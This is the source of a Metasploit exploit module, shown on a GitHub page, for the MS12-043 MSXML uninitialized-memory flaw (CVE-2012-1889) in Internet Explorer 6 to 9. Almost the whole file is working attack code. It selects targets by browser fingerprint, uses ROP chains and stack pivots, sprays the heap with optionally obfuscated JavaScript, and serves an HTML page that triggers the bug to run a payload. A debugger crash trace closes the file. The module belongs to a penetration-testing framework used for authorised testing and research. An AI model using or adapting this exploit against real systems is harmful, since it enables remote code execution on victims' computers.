Permalink
Cannot retrieve contributors at this time
metasploit-framework/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb /
Go to file
427 lines (363 sloc)
13.4 KB
| ## | |
| # This module requires Metasploit: https://metasploit.com/download | |
| # Current source: https://github.com/rapid7/metasploit-framework | |
| ## | |
| class MetasploitModule < Msf::Exploit::Remote | |
| Rank = GoodRanking | |
| include Msf::Exploit::Remote::HttpServer::HTML | |
| include Msf::Exploit::RopDb | |
| include Msf::Exploit::Remote::BrowserAutopwn | |
| autopwn_info({ | |
| :ua_name => HttpClients::IE, | |
| :ua_minver => "6.0", | |
| :ua_maxver => "9.0", | |
| :javascript => true, | |
| :os_name => OperatingSystems::Match::WINDOWS, | |
| :classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}", | |
| :method => "definition", | |
| :rank => GoodRanking | |
| }) | |
| def initialize(info={}) | |
| super(update_info(info, | |
| 'Name' => "MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption", | |
| 'Description' => %q{ | |
| This module exploits a memory corruption flaw in Microsoft XML Core Services | |
| when trying to access an uninitialized Node with the getDefinition API, which | |
| may corrupt memory allowing remote code execution. | |
| }, | |
| 'License' => MSF_LICENSE, | |
| 'Author' => | |
| [ | |
| 'inking26', # Reliable exploitation | |
| 'binjo', # Metasploit module | |
| 'sinn3r', # Metasploit module | |
| 'juan vazquez' # Metasploit module | |
| ], | |
| 'References' => | |
| [ | |
| [ 'CVE', '2012-1889' ], | |
| [ 'BID', '53934' ], | |
| [ 'OSVDB', '82873'], | |
| [ 'MSB', 'MS12-043'], | |
| [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2719615' ], | |
| [ 'URL', 'http://www.zdnet.com/blog/security/state-sponsored-attackers-using-ie-zero-day-to-hijack-gmail-accounts/12462' ], | |
| [ 'URL', 'https://blog.rapid7.com/2012/06/18/metasploit-exploits-critical-microsoft-vulnerabilities' ] | |
| ], | |
| 'Payload' => | |
| { | |
| 'BadChars' => "\x00", | |
| 'Space' => 1024 | |
| }, | |
| 'DefaultOptions' => | |
| { | |
| 'EXITFUNC' => 'thread', | |
| 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' | |
| }, | |
| 'Platform' => 'win', | |
| 'Targets' => | |
| [ | |
| # msxml3.dll 8.90.1101.0 | |
| [ 'Automatic', {} ], | |
| [ | |
| 'IE 6 on Windows XP SP3', | |
| { | |
| 'Offset' => '0x100', | |
| 'Rop' => nil, | |
| 'RandomHeap' => false | |
| } | |
| ], | |
| [ | |
| 'IE 7 on Windows XP SP3 / Vista SP2', | |
| { | |
| 'Offset' => '0x100', | |
| 'Rop' => nil, | |
| 'RandomHeap' => false | |
| } | |
| ], | |
| [ | |
| 'IE 8 on Windows XP SP3', | |
| { | |
| 'Rop' => :msvcrt, | |
| 'RandomHeap' => false, | |
| 'RopChainOffset' => '0x5f4', | |
| 'Offset' => '0x0', | |
| 'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll | |
| } | |
| ], | |
| [ | |
| 'IE 8 with Java 6 on Windows XP SP3', | |
| { | |
| 'Rop' => :jre, | |
| 'RandomHeap' => false, | |
| 'RopChainOffset' => '0x5f4', | |
| 'Offset' => '0x0', | |
| 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll | |
| } | |
| ], | |
| [ | |
| 'IE 8 with Java 6 on Windows 7 SP1/Vista SP2', | |
| { | |
| 'Rop' => :jre, | |
| 'RandomHeap' => false, | |
| 'RopChainOffset' => '0x5f4', | |
| 'Offset' => '0x0', | |
| 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll | |
| } | |
| ], | |
| [ | |
| 'IE 9 with Java 6 on Windows 7 SP1', | |
| { | |
| 'Rop' => :jre, | |
| 'RandomHeap' => true, | |
| 'RopChainOffset' => 0x5FC, | |
| 'Offset' => '0x0', | |
| 'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll | |
| } | |
| ] | |
| ], | |
| 'Privileged' => false, | |
| 'DisclosureDate' => '2012-06-12', | |
| 'DefaultTarget' => 0)) | |
| register_options( | |
| [ | |
| OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) | |
| ]) | |
| end | |
| def get_target(agent) | |
| #If the user is already specified by the user, we'll just use that | |
| return target if target.name != 'Automatic' | |
| if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ | |
| return targets[1] #IE 6 on Windows XP SP3 | |
| elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ | |
| return targets[2] #IE 7 on Windows XP SP3 | |
| elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ | |
| return targets[2] #IE 7 on Windows Vista SP2 | |
| elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ | |
| return targets[3] #IE 8 on Windows XP SP3 | |
| elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/ | |
| return targets[5] #IE 8 on Windows 7 SP1/Vista SP2 | |
| elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ | |
| return targets[6] #IE 9 on Windows 7 SP1 | |
| else | |
| return nil | |
| end | |
| end | |
| def ret(t) | |
| case t['Rop'] | |
| when :msvcrt | |
| return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll | |
| when :jre | |
| return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll | |
| end | |
| end | |
| def popret(t) | |
| case t['Rop'] | |
| when :msvcrt | |
| return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll | |
| when :jre | |
| return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll | |
| end | |
| end | |
| def get_rop_chain(t) | |
| if t['RandomHeap'] | |
| adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c | |
| adjust << ret(t) | |
| else | |
| adjust = ret(t) | |
| end | |
| adjust << popret(t) | |
| adjust << [ t['StackPivot'] ].pack("V") | |
| adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :) | |
| # Both ROP chains generated by mona.py - See corelan.be | |
| case t['Rop'] | |
| when :msvcrt | |
| print_status("Using msvcrt ROP") | |
| rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust}) | |
| else | |
| print_status("Using JRE ROP") | |
| rop = generate_rop_payload('java','',{'pivot'=>adjust}) | |
| end | |
| return rop | |
| end | |
| def get_easy_spray(t, js_code, js_nops) | |
| randnop = rand_text_alpha(rand(100) + 1) | |
| spray = <<-JS | |
| var heap_obj = new heapLib.ie(0x20000); | |
| var code = unescape("#{js_code}"); | |
| var #{randnop} = "#{js_nops}"; | |
| var nops = unescape(#{randnop}); | |
| while (nops.length < 0x80000) nops += nops; | |
| var offset = nops.substring(0, #{t['Offset']}); | |
| var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); | |
| while (shellcode.length < 0x40000) shellcode += shellcode; | |
| var block = shellcode.substring(0, (0x80000-6)/2); | |
| heap_obj.gc(); | |
| for (var z=1; z < 0x230; z++) { | |
| heap_obj.alloc(block); | |
| } | |
| JS | |
| return spray | |
| end | |
| def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops) | |
| randnop = rand_text_alpha(rand(100) + 1) | |
| randnop2 = rand_text_alpha(rand(100) + 1) | |
| spray = <<-JS | |
| var heap_obj = new heapLib.ie(0x20000); | |
| var code = unescape("#{js_code}"); | |
| var #{randnop} = "#{js_nops}"; | |
| var nops = unescape(#{randnop}); | |
| var #{randnop2} = "#{js_90_nops}"; | |
| var nops_90 = unescape(#{randnop2}); | |
| var rop_chain = unescape("#{js_rop}"); | |
| while (nops.length < 0x80000) nops += nops; | |
| while (nops_90.length < 0x80000) nops_90 += nops_90; | |
| var offset = nops.substring(0, #{t['Offset']}); | |
| var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length); | |
| var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); | |
| while (shellcode.length < 0x40000) shellcode += shellcode; | |
| var block = shellcode.substring(0, (0x80000-6)/2); | |
| heap_obj.gc(); | |
| for (var z=1; z < 0x230; z++) { | |
| heap_obj.alloc(block); | |
| } | |
| JS | |
| return spray | |
| end | |
| # Spray published by corelanc0d3r | |
| # Exploit writing tutorial part 11 : Heap Spraying Demystified | |
| # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ | |
| def get_random_spray(t, js_rop, js_code, js_90_nops) | |
| spray = <<-JS | |
| function randomblock(blocksize) | |
| { | |
| var theblock = ""; | |
| for (var i = 0; i < blocksize; i++) | |
| { | |
| theblock += Math.floor(Math.random()*90)+10; | |
| } | |
| return theblock; | |
| } | |
| function tounescape(block) | |
| { | |
| var blocklen = block.length; | |
| var unescapestr = ""; | |
| for (var i = 0; i < blocklen-1; i=i+4) | |
| { | |
| unescapestr += "%u" + block.substring(i,i+4); | |
| } | |
| return unescapestr; | |
| } | |
| var heap_obj = new heapLib.ie(0x10000); | |
| var rop = unescape("#{js_rop}"); | |
| var code = unescape("#{js_code}"); | |
| var #{randnop2} = "#{js_90_nops}"; | |
| var nops_90 = unescape(#{randnop2}); | |
| while (nops_90.length < 0x80000) nops_90 += nops_90; | |
| var offset_length = #{t['RopChainOffset']}; | |
| for (var i=0; i < 0x1000; i++) { | |
| var padding = unescape(tounescape(randomblock(0x1000))); | |
| while (padding.length < 0x1000) padding+= padding; | |
| var junk_offset = padding.substring(0, offset_length - code.length); | |
| var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length); | |
| while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; | |
| sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); | |
| heap_obj.alloc(sprayblock); | |
| } | |
| JS | |
| return spray | |
| end | |
| def on_request_uri(cli, request) | |
| agent = request.headers['User-Agent'] | |
| my_target = get_target(agent) | |
| # Avoid the attack if the victim doesn't have the same setup we're targeting | |
| if my_target.nil? | |
| print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") | |
| send_not_found(cli) | |
| return | |
| end | |
| p = payload.encoded | |
| js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) | |
| js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) | |
| js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) | |
| if not my_target['Rop'].nil? | |
| js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) | |
| end | |
| if my_target['RandomHeap'] | |
| js = get_random_spray(my_target, js_rop, js_code, js_90_nops) | |
| elsif not my_target['Rop'].nil? | |
| js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops) | |
| else | |
| js = get_easy_spray(my_target, js_code, js_nops) | |
| end | |
| js = heaplib(js, {:noobfu => true}) | |
| if datastore['OBFUSCATE'] | |
| js = ::Rex::Exploitation::JSObfu.new(js) | |
| js.obfuscate(memory_sensitive: true) | |
| end | |
| object_id = rand_text_alpha(4) | |
| html = <<-EOS | |
| <html> | |
| <head> | |
| <script> | |
| #{js} | |
| </script> | |
| </head> | |
| <body> | |
| <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object> | |
| <script> | |
| var obj = document.getElementById('#{object_id}').object; | |
| var src = unescape("%u0c08%u0c0c"); | |
| while (src.length < 0x1002) src += src; | |
| src = "\\\\\\\\xxx" + src; | |
| src = src.substr(0, 0x1000 - 10); | |
| var pic = document.createElement("img"); | |
| pic.src = src; | |
| pic.nameProp; | |
| obj.definition(#{rand(999) + 1}); | |
| </script> | |
| </body> | |
| </html> | |
| EOS | |
| html = html.gsub(/^ {4}/, '') | |
| print_status("#{cli.peerhost}:#{cli.peerport} - Sending html") | |
| send_response(cli, html, {'Content-Type'=>'text/html'}) | |
| end | |
| end | |
| =begin | |
| (e34.358): Access violation - code c0000005 (first chance) | |
| First chance exceptions are reported before any exception handling. | |
| This exception may be expected and handled. | |
| eax=7498670c ebx=00000000 ecx=5f5ec68b edx=00000001 esi=7498670c edi=0013e350 | |
| eip=749bd772 esp=0013e010 ebp=0013e14c iopl=0 nv up ei pl nz na pe nc | |
| cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 | |
| msxml3!_dispatchImpl::InvokeHelper+0xb4: | |
| 749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:5f5ec6a3=???????? | |
| 0:008> r | |
| eax=020bf2f0 ebx=00000000 ecx=00000000 edx=00000001 esi=020bf2f0 edi=020bf528 | |
| eip=749bd772 esp=020bf1a8 ebp=020bf2e4 iopl=0 nv up ei pl nz na pe nc | |
| cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 | |
| msxml3!_dispatchImpl::InvokeHelper+0xb4: | |
| 749bd772 ff5118 call dword ptr [ecx+18h] ds:0023:00000018=???????? | |
| 0:008> k | |
| ChildEBP RetAddr | |
| 020bf2e4 749bdb13 msxml3!_dispatchImpl::InvokeHelper+0xb4 | |
| 020bf320 749d4d84 msxml3!_dispatchImpl::Invoke+0x5e | |
| 020bf360 749dcae4 msxml3!DOMNode::Invoke+0xaa | |
| 020bf394 749bd5aa msxml3!DOMDocumentWrapper::Invoke+0x50 | |
| 020bf3f0 749d6e6c msxml3!_dispatchImpl::InvokeEx+0xfa | |
| 020bf420 633a6d37 msxml3!_dispatchEx<IXMLDOMNode,&LIBID_MSXML2,&IID_IXMLDOMNode,0>::InvokeEx+0x2d | |
| 020bf460 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 | |
| 020bf49c 633a9cfe jscript!IDispatchExInvokeEx+0x6a | |
| 020bf55c 633a9f3c jscript!InvokeDispatchEx+0x98 | |
| 020bf590 633a77ff jscript!VAR::InvokeByName+0x135 | |
| 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a | |
| 020bf60c 633a9c0b jscript!VAR::InvokeByDispID+0xce | |
| 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x2989 | |
| 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff | |
| 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f | |
| 020bf958 633891f1 jscript!CSession::Execute+0x175 | |
| 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 | |
| 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a | |
| 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 | |
| 020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219 | |
| =end |